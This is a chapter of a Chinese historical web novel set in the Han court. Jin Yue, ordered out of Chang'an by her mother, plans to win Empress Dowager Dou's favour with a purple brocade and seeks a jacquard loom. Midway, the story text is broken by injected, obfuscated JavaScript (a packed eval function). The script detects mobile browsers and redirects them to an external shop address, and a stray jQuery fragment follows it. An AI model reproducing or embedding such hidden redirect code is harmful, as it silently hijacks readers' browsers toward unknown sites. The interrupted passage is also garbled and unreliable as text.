金悦不可置信,酸涩猛地冲上鼻腔。
她进宫时已觉不妙,但未料到王娡一开口就要将她逐出长安。难道在她心里,自己当真一丝分量也无?田家说什么都信,她这个女儿却占不到半点位置。
“母亲,连您也觉得是我损毁了窦太后的寿礼还死不承认吗?”她的话音里已带哽咽,但强行忍住了,不想让自己看起来太过狼狈。
王娡摇头,“我知道不是你。”
她知道这个女儿谨小慎微,不至于连这点信任都吝啬。也知她性情倔强,没有犯错不肯承认。
金悦梗着气,问道:“那为什么——”
“但事情闹到这步田地,你也有责任。”王娡截断了她的话。
原本她认下来便能圆过去,她却偏要去顶撞老夫人,弄得场面难堪。
弟媳臧氏告到跟前,被王娡训斥了一顿。
可金悦这女儿不孝,她做母亲的便须拿出态度,不能毫无作为。
“你忤逆长辈,我是怎么也不能替你遮掩过去。待窦太后寿宴一过,你就收拾东西回槐里去罢。左右如今皇帝赏了你许多财物,下半辈子足以衣食无忧。让你来长安,兴许是错了。没有本事在这里站稳脚跟,反而惹出祸事。回槐里去,安安稳稳过日子,反倒好些。”
先前,窦太后得知金悦来了长安,特地指名让她赴宴,王娡心知这是在给自己体面,不能推拒。
金悦心灰意冷,垂下眼眸,“好,儿臣收拾行李,待到窦太后寿宴之后,便离开长安。只是母亲,儿臣还有一事相求。”
见她乖觉,王娡微微松了口气,“什么请求,你说来便是。”
“儿臣想跟陈孝和离。”
“……你说什么?”
金悦抬起头,镇定地说道,“儿臣想和离,陈家待我很是苛刻。”
王娡胸中怒火猛蹿,只当她是心中不服,故意顶撞:“绝无可能!我王娡的女儿断不能和离,就是丈夫死了也不成。”
和离二字触碰了她的底线,她决不能答应。
当年她被母亲逼迫,硬生生与金王孙分开。如今若是金悦也和离,外人不知就里,只会觉得她王娡满门皆是嫌贫爱富之辈。
“唯。”金悦再无言语,或许也没有开口的必要了。
告退后,转身离开。
.
金悦从宫里回来后,整个人埋进被褥深处。于兰在门外唤了好几声,她一概不应。婢女端来的膳食搁在案上,从热气腾腾放到冰凉彻骨,她也一口没动。
不是赌气。只是胸口堵得厉害,像有什么东西梗在那里,吞不下去,也吐不出来。
此事于她而言,比起伤心,更多的是失望与愠怒。
对母亲的失望,对自己无能为力的愤怒。
从前在陈家,她最怕的便是被逐出家门。她没有娘家,无处可去,离了陈家只能流落街头。她见过那样的惨状,有个妇人被夫家以不孝之名赶出去,因声名尽毁,娘家也不肯收留,只得睡在桥洞下。后来的事,金悦不忍再回想。
来到长安以后,她原以为处境有所改变,有了倚仗,也生出了反抗的底气,因此面对臧老夫人的污蔑,她咬紧牙关绝不低头。
可如今她才恍然大悟,其实什么也没变。
她依然受制于人,陈家的欺凌她挣脱不得,母亲要将她遣离长安,她同样违抗不了。
金悦心底涨满不甘。分明她什么也没有做错,凭什么就这样被赶出长安。
回到槐里后,还要继续跟陈家人搅和在一块儿。
金悦在被褥里翻了个身,闷出一身汗。
窦太后的寿宴一过,她就该走了。
可是她能怎么办呢?太后的命令谁能违抗?
等等,窦太后的寿宴!
她霍然坐起。
若说还有人能改变王娡的决断,那必定是窦太后了。金悦虽然只来了短短几日,也能从众人的态度中感受到太后的威势,是所有人都要讨好的存在。
可是那样的人物,怎会为她说话呢?
金悦又泄气了,瘫回被子里。
窗外的月光照着墙根,树影婆娑。
夜里,金悦做了个梦。
梦里是一间敞亮的屋子,比她见过的任何屋子都亮。
许多女子并排坐在其中,前方悬挂的白布上绘着文字与五彩斑斓的图画。
有人在那白布前指点讲述,底下的人大半伏下了头。
金悦坐在末排,却把每个字都听进了耳朵里。那些她从前总也琢磨不透的提花原理,在梦境中变得清晰分明。
她知晓这是前世的记忆,以往总是忽略过去,还是头一回如此认真地对待,期盼在此找到破局之法。
这个梦做得很累,但是金悦醒来后,格外精神焕发。
她想出了讨得窦太后欢心的法子。
她要织一匹纯紫色的万寿锦。
紫色最难染就,眼下长安城能染出的紫,不是偏红便是发蓝,纯正的紫极其罕见。正因罕有,才拿得出手。
她是因为被陷害毁掉了窦太后的寿礼,才被勒令离开长安。那她重新献上一匹更好的来弥补过失。
只要窦太后发了话,旁的人都不能反对。届时看田家怎么说。
昨日金悦的状态相当糟糕,于兰格外担忧,第二天清晨赶到了主院。
听见里头毫无声响,她轻手轻脚推门进去。
却见金悦早已起身,正坐在铜镜前挽发,动作干脆利索,面上不见半分颓丧,与昨日那个蜷在被褥里不肯动弹的人简直判若两人。
于兰愣了一下,随即眉眼舒展开来,“女君可要用膳?”
“嗯。用完膳,你从府里的婢女中挑出二十个会纺织的,最好懂得怎么织提花锦缎。”
窦太后的寿宴距今不满一月,织锦工序繁复,她一个人赶不出来,需得有人搭把手。
于兰心中不解,但见她神色是从未有过的笃定,便没有多问,应道:“唯。”
王太后要将金悦遣送回槐里的事情,于兰也知晓,她作为女君手下的女官,自然要跟随。
她在长安生养长大,忽然要远行,心中其实有些不舍。
她本可以自行决定去留,只是长安城里的贵人大多不好侍奉,像金悦这般和善的主子绝无仅有,不忍在对方落难之际弃之而去。
罢了,先去槐里看看情形,若还过得去就暂且待着,过几年再作打算。
于兰吩咐管事召集了婢女。
婢女陆陆续续过来,站了半院子,于兰也不废话,开口便问谁会使织机。
当下女子或多或少都会织布,但举手的人稀稀落落。
谁人不知这位修成君在太后跟前不得脸面,听说寿宴一过就要回槐里去。跟着她干活能有什么前程?
这宅子总要留人看守,留下来才是正道,兴许还能另个去处。
于兰见状,叹了口气,扬声道:“入选者另有赏钱。”
站出来的人这才多了起来。
也有人撇撇嘴,懒得去烧冷灶,心中嘀咕跟一个不受待见的县君能有甚出息。倒不如留下,再寻个新去处。
.</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676650|207497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
从来的婢女中遴选出了二十个较为出色的,金悦又问于兰何处能买到织机。
得知府中便有,她即刻过去查验。
织机搁在针线房中。大户人家多会自己蓄养织娘绣娘,金悦尚未配备这些人手,针线房暂且空着。
踏进针线房,里头摆放的是汉代最常见的斜织机。
机架为榆木所制,两根踏板各连一扇综框,踩下去经线便分成上下两叠,形成梭口。梭子从这头穿到那头,纬线便横贯整幅布面。
这种织机仅能织出平纹布,且通体一色。
提花织机远比这复杂得多。
金悦皱紧眉头。她起初盘算着将斜织机改造成提花机,但如今看来行不通,绝大多数构件都无法沿用。可时间紧迫,现请木匠打造一台又太费时。
“哪里能买到提花织机?”金悦转过头,询问于兰。
于兰寻思片刻,面上露出为难之色:“恐怕不好买。提花织机构造复杂,会做的木匠本就不多,通常得提前好几个月预定。”
“你可知道何处有这般手艺的木匠?”金悦想先去问一问,实在不行,再另想办法。
“属下倒认得一位姓胡的老木匠,手艺在长安城里数一数二,只是——”
“就是什么?”
“就是脾气大了些。女君去了便知。”
……
马车驶入城南的巷子,路过好几户人家,门口的人探出头张望了两眼,见是往巷子深处胡家去的,见怪不怪地缩了回去。
于兰下了马车,转身扶金悦下来,叮嘱道,“女君,这胡老丈本事不小,但脾气也大,您多担待。”
“我知道了。”
走过去敲门。
开门的是个四五十岁的妇人,系着粗布围裙,双手在围裙上蹭了两把,笑道:“二位是来找胡老丈的吧?”
“正是,老丈可在家?”
“在里头呢,正忙着。二位请进,我这就去唤他出来。”
妇人转身往屋里走,脚步利索,嗓门也亮堂。
“别刨你那木头了,快出门,有生意上门了!”妇人像是怕胡老丈听不见,高声喊着。
“哎哟,我的耳朵,嚷那么大声作甚?我这一台还没做完,你又给我揽活?!就不怕累死我?”胡老丈满腹牢骚。
“让你歇息的时候你偏不歇,如今知道累了!人家已找上门来,你快出去见客。”
“哼,去就去!”
门帘一掀,一个老头大步走出来。花白头发,浓眉压眼,一双布满老茧的手上还沾着木屑,往衣服上随意蹭了蹭。
他也不寒暄,上下打量了金悦和于兰两眼,开门见山:“你们要定提花机?得往后排,前头还有两台没做完。”
“您做一台得多久?”金悦不死心地问道。
“两三个月吧。”
金悦眼前一黑,两三个月等下去,黄花菜都凉了。
她想了想,问道:“您现在做的这一台,是否快要完工了?”
胡老丈颔首。
“那……”金悦抿了抿唇,艰难地厚着脸皮道,“您可否先将这台卖给我们?”
胡老丈愕然,瞪着她,气得胡子都翘起来了,“我今天看在你们两个是女娘的份上,不想骂你们。我胡某做了一辈子织机,靠的就是信誉二子,任凭你们是什么人,都不可能插队。小小年纪不学好,竟动这些歪心思。”
金悦和于兰两个被骂得面皮紧绷,缩了缩脖子。
看胡老丈的架势,再往下说只怕就要指着鼻子将她们轰出去了。